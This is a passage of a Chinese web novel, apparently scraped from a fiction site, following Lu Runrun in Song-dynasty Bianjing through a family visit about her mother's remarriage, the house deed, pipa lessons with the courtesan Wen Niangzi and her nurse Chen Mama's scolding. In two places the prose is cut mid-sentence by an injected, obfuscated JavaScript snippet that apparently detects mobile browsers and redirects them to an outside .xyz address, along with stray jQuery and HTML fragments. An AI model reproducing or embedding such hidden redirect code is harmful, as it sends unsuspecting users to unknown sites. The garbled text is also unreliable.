她倒不是嫌弃,要吃好的,自己家里不能说天南地北的食材都有,但是好东西还是不少的。并没有少油水到指望着去亲戚家做客的时候,大快朵颐。 就是吧,待客的硬菜用糟猪蹄爪其实稍稍有些不体面。 毕竟,谭家的家底还是挺殷实的。 谭家大舅父在边境做低阶武官,俸禄有一半是寄回家中奉养爹娘,自然,他做武官不单指着俸禄这一项过活,有另外的门路,但就奉养谭家外翁外婆还是绰绰有余的。 而谭家二舅父继承了谭家外翁的职位,做了专门抄录邸报的邸吏。 胥吏的薪俸都很低微,但常常能领不少东西,什么米肉,冬日还有炭。 邸吏已经是胥吏里油水不丰的,不像府衙里的那些胥吏,譬如租了卢家宅子的钱广,看着不显山露水,实则家底殷实得很,一月三贯的掠房钱眼睛都是不眨的,更莫说每日里花的那些热水钱、香水行的钱等等,照陈妈妈暗地里看的,他家每日都不怎么开火,常常是下值了带吃食回来,林林总总可是一笔不小的开销,他家的瑾姐儿求医问药还没停过。 总之,谭二舅父这个邸吏虽不似钱广那样府衙里的胥吏吃香,但比起贩夫走卒,日子过得还算可以,尤其谭二舅父家在汴京有宅,不用租屋舍住,余钱更是多。 即便是这样,谭二舅母在高兴至极的情形下,仍然舍不得说一句煮羊肉招待。 因为士大夫们不吃猪肉、牛肉,视其为下品,只以羊肉为贵,故而在汴京人心里,虽然日常生活中还是会吃猪肉,但只要家底稍好些的,从来都认为招待重视的客人要用羊肉。 谭二舅母,一如既往地擅长持家啊!就像平日里那些年礼节礼,每回都是盒子又大又体面,打开一看全是往年送剩下的,卢闰闰想着便觉得无奈。 而落后三人几步的陈妈妈悄无声息地努着嘴切了一声,囔囔了句,“守钱虏。” 好在正逢卢闰闰在说话,前面的人没听见。 卢闰闰谢了谭二舅母的好意之后,又开始闲聊了几句,接着问道:“但会不会过于破费了,去了舅母家里,还得劳您费心招待,平白无故的,我总是心里愧疚,累着您可怎么好。” “你说说,虽说是去见你那后爹的,但怎么也是好久没到舅母家了吧?我啊,不是那小气的人儿……” 谭二舅母说着话,卢闰闰却已经心不在焉了。 她三两句就把今日外翁一家之所以来的缘故给套问清楚。 那位继爹是外婆张罗到的,往后又要住进卢家的宅子,总不能真等到住进来才让卢闰闰见到人吧,这才一家子兴师动众,就是借着去外翁家玩的由头,让卢闰闰过去。 再叫那人前来拜访。 先见上一见。 来不及有过多的反应,谈话间就到了正堂的屋门前,里头整整齐齐坐了谭贤娘和谭家一家子。 外翁不苟言笑,也不觉得尊该屈卑,长辈见到晚辈没有主动打招呼的道理,所以还是端坐着。而外婆顺从了夫婿一辈子,对他低眉顺眼,等儿子大了,也不敢擅自做主什么,但对晚辈却很好。 一见到卢闰闰来了,谭家外婆就站了起来,走到卢闰闰面前,褐黄老皱的手摸上卢闰闰的脸颊。 不同于卢闰闰对谭闻相用力揉捏,而是真正慈祥关切的抚摸。 “我们闰闰长 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16506431|186077||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开了呀,出落得愈发好了,和你娘年轻时一个样子。听你娘说,你今儿去佛寺了,累不累?我们闰闰心地这么好,这么孝顺,佛祖一定保佑你平平安安的,来日有个疼你爱你的好夫婿。” 谭贤娘是老来女,故而即便宋人早婚,谭家外婆年纪也已经很大了,比陈妈妈还要大个十数岁,手上青筋蜿蜒凸起,走路明明很稳,却给人一种小脚过独木桥的蹒跚感,总是怕她走不好会摔了。 卢闰闰下意识地扶住谭家外婆的双臂,哄着她道:“我是阿娘生的,自然同娘长得像,但若要论根啊,还是像外婆多些,还是您把好相貌传给了我娘,我才能生得这般好。” 谭家外婆被逗得直笑。 谭贤娘乜了卢闰闰一眼,摇着头,神态说是严厉,语气却是无奈宠溺的,“贫嘴,哪有这样夸自己的。” 边上坐的谭二舅父生性木讷,也就是不尴不尬点了个头,随大流笑一笑。 而坐在上首的谭家外翁咳了一声。 卢闰闰上前行了个万福礼,笑盈盈喊外翁,谭家外翁平淡地颔首。 卢闰闰站在中央,半点不扭捏,每个人挨个喊过去。 然后,才被谭家外婆拉着坐下来。 她主动热情地邀请卢闰闰过两日去她家里玩,说是要给谭闻相办个家宴,不请太多人,就是一家人坐下说说话,毕竟从今往后也是多个亲人了。 谭家外婆还不知道谭二舅母已经什么都跟卢闰闰说了。 她慈爱地望着卢闰闰,好似真的只是邀卢闰闰去吃一顿家宴,看不出半点端倪。 在正堂里的众人或明或暗,或关切或看戏的目光里,卢闰闰笑容依旧,露出一口洁白贝齿,俏生生应下,“好呀!我许久没去外翁家了,不知道庭院里的枇杷长好了没有。外翁家的枇杷最甜了,汁水又多,比外头买的还要好。” 不论大家说什么,卢闰闰都能配合得很好,正堂里是不是就传出笑声,欢声笑语的,和睦极了。 陈妈妈站在正堂外的门扇边上,听着里头的说话声,却是愁容满面,捂着心口,心疼极了。 我的姐儿哟,怎么这般可怜。 若是她爹爹和翁翁婆婆还在,哪要自己应付这场面。 谭家人对姐儿的疼爱不是假的,可谭贤娘才是他们的女儿,里外两件事分得清清楚楚。 陈妈妈隔着门扉上的菱格窗纸偷偷瞧着卢闰闰游刃有余交谈的样子,不禁红了眼眶,偷偷用袖子擦拭眼泪。 * 谭家人在卢家用过午食才动身回去。 临走前,谭家外婆还拉着卢闰闰的手舍不得分别,一个劲地说得空了要多去外翁家玩。 卢闰闰都笑盈盈地应了。 直到送完人,卢闰闰走进院子,感受着耳边的骤然清净,她才停下笑,伸了懒腰,长舒一口气。她也不想去午歇,就蹲在地上看蚂蚁搬迁,一会儿用叶子挡去它们的去路,一会儿又掰了点糕点碎屑给它们。 这样玩了好一会儿,她再抬头,便见到她娘不知何时到了院墙边种的一排花圃前。 那些花从卢闰闰有记忆开始,就一直在,开了败,败了开,年复一年日复一日,一直在那。 谭贤娘其实是个不太有闲情雅致的人,卢闰闰很少见她伤春悲秋,遇到再难的事,她也不哭,她会弹琴,也很有文采,但也只是用来学会作为一项技艺,而不是弹琴寄情,写诗排愁。 这样的她,却一日日精心照料那些娇贵的花。 枯了一朵,虫咬了一片,她都很紧张。 卢闰闰一开始以为是谭贤娘爱养花,后来才从陈妈妈那知道,自己早逝的生父爱种花养花,他在的时候院子里的花开的可好了。 他走了以后,便是谭贤娘接手这些花。 卢闰闰从那时候起便开始观察,她发现,即便她娘几乎从不在人前提起她爹,但却几乎无时无刻不在思念他。 卢闰闰回想至此,她拍了拍裙裳上的灰,站了起来,默默走到谭贤娘身边。 她轻轻唤了声,“娘。” 谭贤娘用竹提子舀水浇花的动作没停,神色依然是淡淡的,“你都猜到了吧?去你外翁家,不止是家宴,他也会去。” 对自己的亲娘,卢闰闰没有什么要掩饰的,她点头嗯了一声。 谭贤娘浇完最后一簇花,把竹提子放回水桶里,她转过身,与卢闰闰面对面,母女二人平视着。 “闰闰,明日你随我去趟府衙,宅子的契书上,只该有一个人。” 13. 租客 一直到从府衙里出来两三日之后,卢闰闰都仍然觉得有种不真实感。 她年纪轻轻,名下就这样多了一座大宅子。 还是在汴京城内,靠在御街附近,地段十分繁华的宅子。 即便她一直都清楚宅子有自己的份,可就这么亲眼看着,过了官府的明路,房契上白纸黑字只有自己的名字,还是叫卢闰闰觉得虚浮不真切,脚底踩的地都似乎软绵绵的。 她的琵琶弹着弹着,竟然就走神了,手下动作一慢,错了一个音。 拿着一柄腰扇,斜倚在美人榻上,闭目听着她弹琵琶的文娘子摇扇子的动作一停,慢悠悠睁开美目,画着侍女游园图的竹腰扇轻轻一敲卢闰闰的手背。 “错了。”文娘子的声音如珠玉相撞一般悦耳好听,尾调微微扬起,带着一丝喑哑,好似绕到人心里,使得心头也泛起一丝丝焦虑的痒意。 卢闰闰顺势停了下来,抱着琵琶,低头玩着弦。 难得能看见卢闰闰安静失神的样子,文娘子一手支着脸侧,饶有兴致地盯了会儿,她姣好美丽的脸上泛起漫不经意的笑,“怎么?在为宅子的事烦心? “要我说,这有什么好多寻思的。有个宅子傍身,后半生无忧,多好呐。你这小娘子可真有福气,有个好娘。” 文娘子嘴上说好,眼里却不羡慕,只在说起卢闰闰有个好娘时,眸光才微微一动,添了些真切,似有淡淡惆怅。 但这份惆怅,转瞬即逝,在文娘子细长外挑的美目中留不下半点波澜。 她对着窗纸透进来的浮散白光,举着纤若无骨的修长手指,欣赏着指甲上头艳红的丹寇,姿态悠闲,眉眼间好像总是似笑非笑,若真探究地望去,她眼底却是一点笑意也没有的。 “我说啊,你有什么好烦的?怕你娘日后不疼你了?怕你那后爹不是个好相与的?总不会是为你生父抱不平吧?” 卢闰闰都摇头。 “我娘虽不像婆婆事事顺着我,什么都恨不得替我做了,但对我的疼爱是实打实的,该有的关怀从来没少过,更是事事为我计深远。至于怕她将来不疼我,这话讲出来要丧良心的,更会伤了她的心。 “后爹?我不为还未出现的事忧心。而亲爹,说句真心话,我虽得了他的余荫,有这么一座可以遮风挡雨、安身立命的宅院,但已没什么印象了,更莫说感情,抱什么不平。 “忧心什么呢?”卢闰闰低下头,自嘲一笑,“我自己也说不好,只是总觉得怅然若失。非要说什么,我只盼着我娘能过得好,她性子好强又寡言,从不向人诉苦,也不在人前掉泪,可我知道她这些年来撑得不容易。 “文娘子,文姐姐,不,文师父,你说,我娘成婚后能开怀吗?” “呵呵。”文娘子若葱白修美的手指轻轻一点卢闰闰的额头,嗤笑一声,“少攀关系,我不过教你几回琵琶,可算不得师徒。不过嘛,倒是瞧不出你还是个多愁善感的。 “好了,你娘什么人啊,用得着你在这杞人忧天。她出入权贵宗室之家,三教九流皆要打交道,还没传出半点不是,眼光毒辣着呢。 “你啊,资质驽钝,学琵琶是成不了什么名家了,架势倒是还成,但也就是唬唬外道人。还是只管跟着你娘学好厨艺吧,终归是有个一技之长傍身,再好好寻个赘婿上门,撑起你家的门户便是。真要愁,还是愁愁你自己吧,可别寻个中山狼,到时哭都没地哭。” 文娘子说的话不好听,偏偏音色曼妙,和那琵琶声一样悦耳,挖苦讽刺的话也好似变得中听起来。 卢闰闰本来就不是什么爱自苦的人,被文娘子这么看似排揎的一点拨,很快就重整旗鼓,笑容满面地求文娘子指点指法。 文娘子睨了她一眼,语气里颇有些挖苦的意味,“怎么?不伤春悲秋了?” 被这样一个风采绝绝的大美人睨一眼,不对,莫说是睨,便是被翻白眼,也很难反应过来,只沉浸在她的美貌里,都来不及想旁的。 卢闰闰不敢说文娘子是什么当世第一美,或者什么倾国倾城,但的确是她认识的说过话的人里头,最为美貌也最有美人风姿的人,而且还是一个美而自知,且随心所欲利用自己美貌的人。 这样并没有什么不好,甚至每一刻都赏心悦目极了。 面对这样的大美人,卢闰闰觉得自己的狗腿,很是应该,不会有一丝半毫的不好意思。所以她毫无顾忌地对着文娘子灿烂谄媚地笑着,竖着拇指,“文娘子您可是当世琵琶独弄第一手,名家中的名家,能得您指点,是我上辈子积了大德,怎么能只顾伤春悲秋! “再说了,文娘子的指点,千金难买,我方才一怔一愣之间,也不知道丢了多少金……” 卢闰闰能说会道,讲起俏皮话很能哄人开心。 文娘子果然展颜了,但旋即,她忽而露出促狭的笑意,“你啊你,倒是愈发像陈妈妈了,话多得数不清。” 卢闰闰震惊。 卢闰闰悲伤。 这已经是她近日来第二回听人说自己像陈妈妈一样叨唠了。 她要心碎了! 看到卢闰闰悲伤、不可置信的小模样,文娘子露出了今日头一次的大笑,笑得半靠在长枕上,肩膀一颤一颤的。 她在热闹至极的瓦子勾栏里弹琵琶,她技艺精湛,追捧的人不少,耳畔总是喧闹的乐声、赞声、此起彼伏的说话声,有时去达官贵人家中献技表演,那声更多了,觥筹交错,恍然间,她甚至以为自己会醉死在席间,伴着鼓声乐声,在虚伪的恭维、编织阴谋的谎言中升天西去。 而当席冷人散,她坐在小轿里,经过一重又一重幽静的小巷时,又似乎是有种虚芜的阴冷攀上心间。 她真是怕极了寂寞。 好像阴湿的老鼠在攀爬脚踝。 这儿却很好。 天真的小娘子叽叽喳喳,笨拙地学琵琶,与她说笑,有时生涩地说点赞美的话,眼里的光却是真心实意的,是发自内心的赞美,而没有令人作呕的欲望与觊觎。 文娘子还在大笑着,心情渐好。 她坐起身,拿过另一把琵琶,拨了几下琴弦,就开始弹起来。 一气呵成,其音铮铮,其势凛冽。 一曲终,卢闰闰都忘了反应,只觉得耳畔似乎仍留有余音,难以回神。 文娘子没去理会她,自顾自地把琵琶收好,然后才道:“再练练吧。” 卢闰闰回过神,仍有些神思不属,觉得意犹未尽。 “我何时能练到您这般厉害?” “哈,下辈子吧。” 卢闰闰认命地继续弹起来。 隔壁屋舍却开始传来朗朗读书声,是未变声的少年的清朗声音。 “又到休沐的日子了啊?这般快么?”文娘子成日在浮华声色中打滚,都快有些分不清白天黑 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正巧当时周娘子四处托经纪看房,看到了卢家,卢家地段好,屋子干净宽敞,本来她是租不起的,谭贤娘看她孤儿寡母来汴京求学不容易,又兼家里忙不过来,索性做主,他们母子二人租两间屋子,但只算一间的房钱,平日里帮着洒扫庭除,做点杂事。 周娘子一看是卢闰闰,她本是迂讷的人,却逼着自己殷勤地笑,但再如何努力,也显得有些局促,手脚瞧着都不太自在,“是卢家姐儿啊,我这几日在城外做了摘果子的杂活,主家心善,送了些枇杷,我挑了些好的送来,哦,这碟是送给文娘子的,不是给您的,不不,是因着您家里那碟我送去陈妈妈那了。” 话都是好话,心意也是好的,但不知道是不是周娘子的语气不太对,听着总觉得怪。 好在卢闰闰直到周娘子不善言辞,她主动接过来,笑着缓和周娘子的紧张,“那我一会儿回去可有口福了。” 文娘子也客气地请周娘子进来坐坐。 周娘子看里头摆的东西多,既有多宝架,又串了珠帘,和她屋里四面空荡荡的模样截然不同,有些不敢下脚踩进门。 但周娘子最后挣扎犹豫一番还是进去了,却是拿着文娘子屋里的茶壶走了,执意要帮她装热水,说是已用柴火烧了水,不好浪费。 文娘子平日里要用热水都是买的,站院门前一挥手就成,她并不怎么去灶房。 周娘子因没有太多的进项,她做一日活,得一百文工钱,一月不过三贯钱,还要付一贯五百文的掠房钱,真是捉襟见肘。 文娘子看着周娘子匆匆走的身影,有些无奈,“她这是怕我嫌她家哥儿念书吵。” 其实文娘子很喜欢听这些,少年的读书声、巷子孩童的嬉闹声、陈妈妈偶尔中气十足的骂人声,这些声都要认真仔细的生活才能听见,会叫她觉得自己还活着。 退一万步说,她常常弹琵琶,真扰邻居清净的也是她。 奈何周娘子是位严于律己宽以待人,生怕扰了旁人的人。 卢闰闰跟着道:“周娘子是个好人。” 接着,她又扬唇笑起来,真心为其高兴,“好在郑家哥儿从小学考入太学做外舍生,不但能在太学用饭,每月还有三百文钱的日常贴补,以及一百文的油烛钱,周娘子能稍稍松快一些。” 14. 分歧 能进太学的俱是人中龙凤,即便郑家哥儿如今还只是外舍生,但他今年才十二岁,过几年说不准就能考上内舍生,内舍生和上舍生考核合格,符合要求,都是能授官的。 像释褐状元,即太学中上舍生排名第一的人,在朝中人眼中分量甚至高于科举状元。 想做官,不只是科举一条路可走。 就外人看来,以郑家哥儿的年岁和他太学外舍生的身份,定是前途无量的。 往常卢闰闰这么一说,众人大多是附和。 就连陈妈妈有时候都会在外吹嘘,租客里有这么一位可算得上是天资聪慧的神童,很是叫她觉得长脸。 但文娘子的反应却不大一样,她笑了笑,“谁知晓呢。” 她眸光流转,瞥见周娘子热情送来的枇杷,眉轻轻一扬,又换了说辞,“但愿吧。” 她见过太多的读书人,朱门未必胜蓬户,当然读书人也有好,屠狗辈也有坏。不仅仅是这个缘故,她还见过许多神童,有些莫说外舍生,十二岁就考过发解试来汴京考省试的也并非没有,然后年复一年,皆是落榜,到最后连发解试都过不了。 不过,人心深处皆盼望好人有好报,文娘子她也还是盼望着周娘子能心愿得成,世上亦少些憾事。 卢闰闰很聪明,初时有些疑惑,但很快领会了文娘子的意思。 她没说话,信手弹起了琵琶,文娘子毋需认真倾听,也轻易能听出她弹的是《伍子胥过昭关》。伍子胥逃命时受渔翁和浣纱女的恩德,后来向水中投千金,又为渔翁立祠祭祀。 正如卢闰闰领会了文娘子的意思,文娘子也听出了弦外之音。 文娘子没说什么,闭目继续听她弹琵琶,当卢闰闰哪儿不妥当的时候,文娘子手中的竹腰扇便会适时敲她的手背。 再练了约莫有大半个时辰,文娘子确实有些疲乏了,卢闰闰瞅瞅天色,也快到陈妈妈回来的时候。她起身向文娘子道谢,然后起身帮文娘子的香炉点好香,关好门扇,轻手轻脚地离去。 因着今日弹得要久一些,卢闰闰觉得手腕和指头都绷得有些酸疼,她从正门走到路边,又往家里的门走,低头揉手,以至于没有注意到陈妈妈正提着竹篮子站在拐角。 猛然一撞上,卢闰闰心都跳慢了半拍。 “婆、婆婆?” 陈妈妈一开始还没有看出异样,正准备问她去哪玩了,见她一副见鬼了的发懵表情,还有揉手的动作,便狐疑地眯起眼睛,“你去哪了?” 卢闰闰反应快,当即松开手腕,做了个伸张的动作,好像自己只是在松松筋骨。 她笑得灿烂,露出一口洁白贝齿,看着很清白的样子。卢闰闰虽然生得也好,但不算能让人一眼倾倒的大美人,见到她最先也只会觉得这是一个生得有些姿色的小娘子,很快便会挪开目光,而当她展颜笑起来的时候,整个人格外明艳活泼,会忽然变得熠熠生辉,使人不自觉被吸引。 有些人笑着不好看,有些人哭着好看,卢闰闰则是笑起来会使得原来六七分的颜色,变成八九分美貌的人。 当然了,在陈妈妈眼里,她家姐儿是最好看的。 只是她一见卢闰闰这笑容,也就明白了里头必定有鬼。 但她没有立刻拆穿闰闰,等着听借口。 果然,卢闰闰编了个逛累了的理由,又东拉西扯地说了些别的。 陈妈妈没有直接揭穿她,而是道:“你是小娘子,在外头不能这样挥手张手的,不好看,外人见了心里要嘀咕的。” 卢闰闰依言放下手,露出一个乖顺的笑容。 陈妈妈更知道她心虚了,换成平日,卢闰闰肯定说外人爱怎么看关她什么事,要想指责她,有本事给她一日三顿带点心地送吃食啊。 等到进门了,陈妈妈都不需再问,直接道:“少和那边院里的文娘子见面。” 卢闰闰一听这话就知道自己没瞒过陈妈妈的眼睛。 她也不装了,哦了一声。 陈妈妈反手把门栓给杵上,又把鱼嘴上的钩给取了放进木盆,往里舀了几勺水,鱼儿又一拍尾巴,跳了跳,溅起一地水花,虽没能跳出木盆,但继续生龙活虎地游了起来,一瞧就活泛得很。 陈妈妈特意去远一些的新郑门,就为了买活的黄花鱼回来。 卢闰闰爱吃黄花鱼,但论口感,还得是活的最为鲜嫩,不论是清蒸还是烧制都很好吃,肉滑得一抿就散开,做得好了,还特别鲜美,一点腥味都没有,带着鱼肉的鲜甜,不像一些鱼吃起来有塞塞柴柴的线感。 陈妈妈又把篮里的一块猪扇骨给挂起来,今日吃鱼,猪扇骨留着明日吃。 然后她挽起袖子,围了块粗布在腰上,开始择菜,边择边道:“你平日和谁玩我都是不说的,你想想,换成旁人,我可拦过你?就连你夜里偷着去吃杂嚼我也帮你瞒着你娘。但那文娘子不同,她若是把你带坏了可怎么好?” 卢闰闰知道自己这时候顺从地应两声事情就过去了。 但是她刚张开嘴,又闭上,反复两回,最后还是为文娘子说话,“文娘子哪会将我带坏,她人很好,待我也很好,我也没见过她对谁做了什么。 “难不成因着她是在勾栏里弹唱的伎人就觉得她是坏人不成?真要说起来,我也不过是出入大户人家替人家做席面烧菜的使唤人。” 卢闰闰后一句话说的就有些赌气了。 陈妈妈听不得她贬低自己,甩了甩手上的水,往腰上的围布擦了擦,忙走到她跟前,哄道:“我的祖宗诶,这话是这样说的吗? “那能一样吗? “你和你娘是清清白白去做席面的,也是人家恭恭敬敬请去的。她呢?做伎人在勾栏表演琵琶,这没什么,我也不过是个下人,都是苦命人,谁瞧不起谁呢?她做了大户人家的妾,这也不说了,身世如浮萍,也算个去处。她是如何做的呢,三年为妾的契期满了,拿着五千贯钱,既不置办个宅子有安身处,也不做点买卖有个营生,全拿去买了把琵琶?” 陈妈妈对这样的行为本身很是看不上,在她眼里,这就是有出路自己还要堕落,不是旁人逼的。 不值得外人可怜。 陈妈妈反而很喜欢周娘子,转而说起了周娘子也命苦,又是怎么怎么辛苦供哥儿读书的。 但当卢闰闰问陈妈妈是不是自己要像周娘子一样心甘情愿受苦,才叫好人的时候,她话锋一转,又说卢闰闰是天生的好命,跟她们都不一样,以后大富大贵,不会受一点苦。 陈妈妈自有她的一套评判方法,是卢闰闰怎么说都改变不了的。 卢闰闰在陈妈妈滔滔不绝的道理里最后挣扎了一番,坚定站队,“总之,文娘子是好人!” 然后,她就迎来了陈妈妈不停歇地念叨洗脑。 卢闰闰只好木着脑袋,眼神直直地听着。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16506433|186077||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 但她仍旧觉得文娘子是个好人,这点毋庸置疑,至于文娘子被陈妈妈诟病的事情,在卢闰闰看来,不是文娘子自甘堕落这么简单,看似注重享乐,能眨眼挥霍千金的文娘子,实则是个自毁心很重的人。 文娘子不是被糜烂的欲望蛊惑而堕落,是她想堕落自毁而选择沉沦。 而这一点,是很难向陈妈妈解释清楚的。 好在陈妈妈念叨了卢闰闰小半个时辰以后,一看天色,发觉已经晚了,忙不迭去做饭了。 * 傍晚吃过饭,唤儿去洗碗烧水,陈妈妈趁着暮色,敲响了谭贤娘卧房的门。 谭贤娘让她直接进来。 陈妈妈进去的时候,就看到谭贤娘点了油灯,正在翻书页记食谱,厨娘们的食谱大多是口耳相传,许多秘方则是经过多年经验凭手感改良,很少会记下,有些甚至说不出个所以然。 而谭贤娘不同,她会把每日钻研都记下来,每一点差别都能对比,一心精进。 屋外的暮色浓重,比白日昏暗,而比彻底的黑夜更多了些叫人心里渐渐凝重的不安,连人的影子似乎都被淡去,变得看不见了。 屋内自然也是幽深一片,油灯只能照到书案前那小小一片,谭贤娘低着头,正凝神书写,她认真的脸庞被打上大片抖动的阴影。 陈妈妈本觉得自己义正词严,进来的气势是十足的,但看清谭贤娘以后,她不由气势消减了许多,声都不自觉放轻,生怕惊扰了她。 “娘子,我来是有一事想同你说。” 谭贤娘甚至没抬头,继续手上的事,就嗯了一声。 陈妈妈还以为她还会说什么,结果等了半天没等到别的回应,只好自己轻咳一声,继续道:“姐儿如今竟和那文娘子来往,还同她学琵琶!” 陈妈妈说着面色就严肃起来,义愤填膺地,声也大了些。 谭贤娘正好笔上的墨没了,将笔往笔山上一放,抬起头看着陈妈妈,正色道:“我知道。” “是吧,该拦着……”陈妈妈话说到半茬,才反应过来谭贤娘回答的是什么,她哑了声,含糊半晌,说不下去了。 谭贤娘静坐着,面色平静地看她,等她的话,可陈妈妈哪还有别的事啊,于是屋子里就安静得落针可闻,只有窗格透进一缕薄薄的日头下山前最后一点橘红光晕,印在两人脸上。 最后是谭贤娘先开口,“还有旁的事吗?” 陈妈妈摇头,“没了。” 本是想叫谭贤娘管一管闰闰的,哪知道一点用也没有,陈妈妈只好铩羽而归。 可当她要扭头转身的时候,谭贤娘却开口了。 “我倒是有一事。 “明日闰闰要同我回趟娘家。” “明日???”陈妈妈不由瞪圆了眼,大着嗓门尖声道。 “嗯。”谭贤娘把笔山上的笔拿起来,重新沾了墨,边沾边道:“提早了两日。” 谁都知道去谭贤娘娘家是为了什么,陈妈妈胸腔起伏不定,看着谭贤娘淡定自若的样子,最后还是压着声说知道了。 等出了谭贤娘的屋门,陈妈妈就给了自己一个嘴巴子,低着声愤愤骂自己,“不中用的老东西!” 但陈妈妈心态很好,不消半刻就重新斗志昂扬起来,她望着汴京城开始逐渐繁华起来的景色,家家户户映起的灯火,面上带起胜券在握的笑容,“是该准备起来了。” 15. 拒绝 卢闰闰吃过夕食,正窝在自己的屋里。 她的屋子采光很好,窗台上还摆了盆花,说花也不尽然,养的实际上是菖蒲,三四丛石菖蒲,水漫在根部,洒了些她和魏泱泱一块去河边捡回来的颜色各异的卵石装饰。 陈妈妈见了,又去剪了几根柳枝放进去。 叫卢闰闰看来,这样一番忙碌以后,颇有一种枯草横生的野趣。多好看是没有的,但清雅劲瘦,线条简单,很符合宋人的审美。 不过这样的“野趣”在卢闰闰房内并不多,她是个相当喜欢惹眼艳色的人,最好是花团锦簇的热闹色泽,那盆菖蒲之所以能一直摆着,只因是魏泱泱送她的。 故而,除那之外,她的床帐是亮眼的鹅黄,衾被是晃目的胭脂红,木矮凳上铺的椅布是惹睛的青绿。 进了卢闰闰的闺房,便好似闯进花丛,各种艳色争相挤进眼眶,叫人目不暇接。 她正横躺在床榻中央,腿伸直靠墙,半颗脑袋悬在榻边,长发半落不落地洒在榻沿,好似顺滑飘扬的水藻。若说来到古代,身体上有什么变化是她最为喜爱的,那就是头发了,即便留着一头长发,她的发量还是上辈子羡慕的程度,而且黑亮黑亮的。 不知道和她常吃胡麻丸以及黑豆黑米等五黑食材有关,陈妈妈还用何首乌的根须给她炖汤喝,用茶枯帮她洗发。 不得不说,陈妈妈将她养得很好,面色红润,眼睛有光泽,脸也微微圆,指甲肉也是粉的,一看就知道身体康健,气血充足。 离床榻不远的桌案上,摆着一盏油灯,灯芯被油浸着,正努力燃烧发光,昏暗幽弱的灯光远远映在床上、墙边,浮起如水波般的浅影。 卢闰闰举起手掌,任由灯光映在上头,在墙上照出长影,她仔细观察着,总觉得不太满意。 虽然指甲圆润干净,但总觉得很单调。 她今日见了文娘子的手指甲,忍不住动起了染指甲的心思,但这时节的凤仙花因为还未真正到花期,卖得都十分昂贵。 她估摸是染不起的。 唉,何时能到七夕呢,等到了七月七,十几文钱就能买一篮子的凤仙花。在汴京,七月七与交好的姐妹一道在月下染甲是和望月穿针、比锦盒蛛网密一样的乞巧必做的趣事。 当然了,若是嫌麻烦,还可以花几十文雇染甲婆来帮着染甲。 卢闰闰正感叹呢,房门就被敲响了,还没等她说进,陈妈妈就推门而入,且步履匆匆,以至于她手中的那盏油灯映出的光影都如风浪中的船只般天旋地转地晃动。 陈妈妈把瓷灯盏往桌案上一放,急不可耐地把卢闰闰从床上扶起,“哦唷,我的姐儿,明日就要去你外翁家里了,你怎么还躺得住,来来来,快起来。” 卢闰闰一脸懵,她疑惑着道:“外翁不曾搬家吧?这时候就得准备着出发吗?” 说话间,陈妈妈已经拿着手上那盏油灯,又点亮了妆奁前和盆架边上的灯盏。 卢闰闰看着陈妈妈忙碌的动作,甚至开始疑心起自己是不是忘了什么,语气不大肯定道:“外翁家不是离我们家坐轿子至多不过三刻吗?” 经过陈妈妈的忙活,卢闰闰的屋子一时亮堂堂,暖黄的光晕照在屋子里的每一个角落。 她转身去开衣箱的门,眼睛忙着扫视里面的衣裳,没听清卢闰闰说什么,心不在焉地敷衍应道:“搬家?什么搬家?谁搬家了?要送贺仪不? “罢了罢了,来日再说那些。你快来帮我寻寻,婆婆老眼昏花了,你那件贵煞人也的用笔画纹样的对襟褙子在哪来着?还有,你大舅父托军中袍泽从福建建州弄来的织金锦做的香囊呢?不会丢了吧?那织金锦可难弄得很!” “没丢没丢。”卢闰闰从床上跳下来,在铜镜前的妆奁寻摸了半日,在一个小匣子里取出了个深烟色牡丹海棠花纹织金锦香囊。 陈妈妈拿过来一瞧,见完完整整没勾丝没脏印损坏,才算放心,捂在心口长舒一口气。 “这样一个香囊,在外头少说要八百文一个呢,还有价无市,织金锦都是供给贵人们的,那些个有钱的员外郎们,身上没个官职,纵然千辛万苦地从贩私锦的贩子手里买回来,也只敢穿在褙子里。 “你啊,可得收好,是你大舅父的一番心意呢,那可真真是个好人,将来你若是发迹了,可定要孝顺他。” 卢闰闰没忍住好奇,试探了句,“没发迹就不用孝顺了吗?” 陈妈妈知道她是故意的,虎着脸哼了一声,“顽皮!我家姐儿这样的钟灵毓秀,来日怎么会不发迹,你呀,别贫嘴,记住婆婆说的就是了。” 卢闰闰知道适可而止,没再逗陈妈妈,声音清脆响亮地答应了。 陈妈妈又叫她把当初她及笄时,她娘为她置办的那身裙衫找出来,陈妈妈吩咐完,又脚下生风般出去了,只听见她噔噔噔地下楼声。 卢闰闰耸了耸肩,只好默默开始找起来。 她衣裳有些多,从前的衣裳也都留着,虽然有些被改了做其他的,但也有许多被留下来,甚至能寻到她小时候包的襁褓,用陈妈妈的话说,留着还能给她的孩子用呢。 所以她屋里大大小小有两三个大木箱子。 好在真正用值钱的好料子做的衣裳是不会胡乱糟在一块的,卢闰闰很快就寻出来了,但也把衣箱弄得乱七八糟,好几件衣裳七零八落地散着。 陈妈妈捧着一个木头盒子进来,见状,当即惊呼了声天老爷。 “我的祖宗诶,怎么翻成这样了,一会儿可怎么叠才是!”陈妈妈念叨了这一句,又顾不上多说,把手上的木匣子给打开,“快来,我的心肝,试试戴上如何。你亲婆婆陪嫁的东西里,值钱的从前大多典当了,也就剩下这么一件首饰,是留着给你撑场面的。 